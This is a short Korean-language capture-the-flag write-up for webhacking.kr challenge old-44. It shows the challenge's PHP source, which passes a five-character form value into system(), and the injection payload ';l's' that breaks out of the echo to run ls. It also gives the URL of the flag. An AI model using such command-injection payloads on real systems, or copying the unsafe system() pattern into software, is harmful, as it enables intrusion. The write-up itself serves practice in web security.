old-44 (500)

첫 화면이다.

view-source를 클릭해 본 소스는 아래와 같다.

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>

폼에 ';l's 를 넣고 제출하니 아래와 같은 창이 뜬다.

아래와 같이 lsl's' 는 같은 역할을 수행하므로 가능한 것이다.

/
 ls
Applications Users        cores        home         sbin         var
Library      Volumes      dev          opt          tmp
System       bin          etc          private      usr

/
 l's'
Applications	Volumes		etc		sbin
Library		bin		home		tmp
System		cores		opt		usr
Users		dev		private		var

http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e 에 접속하면 플래그가 나온다.

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

Last updated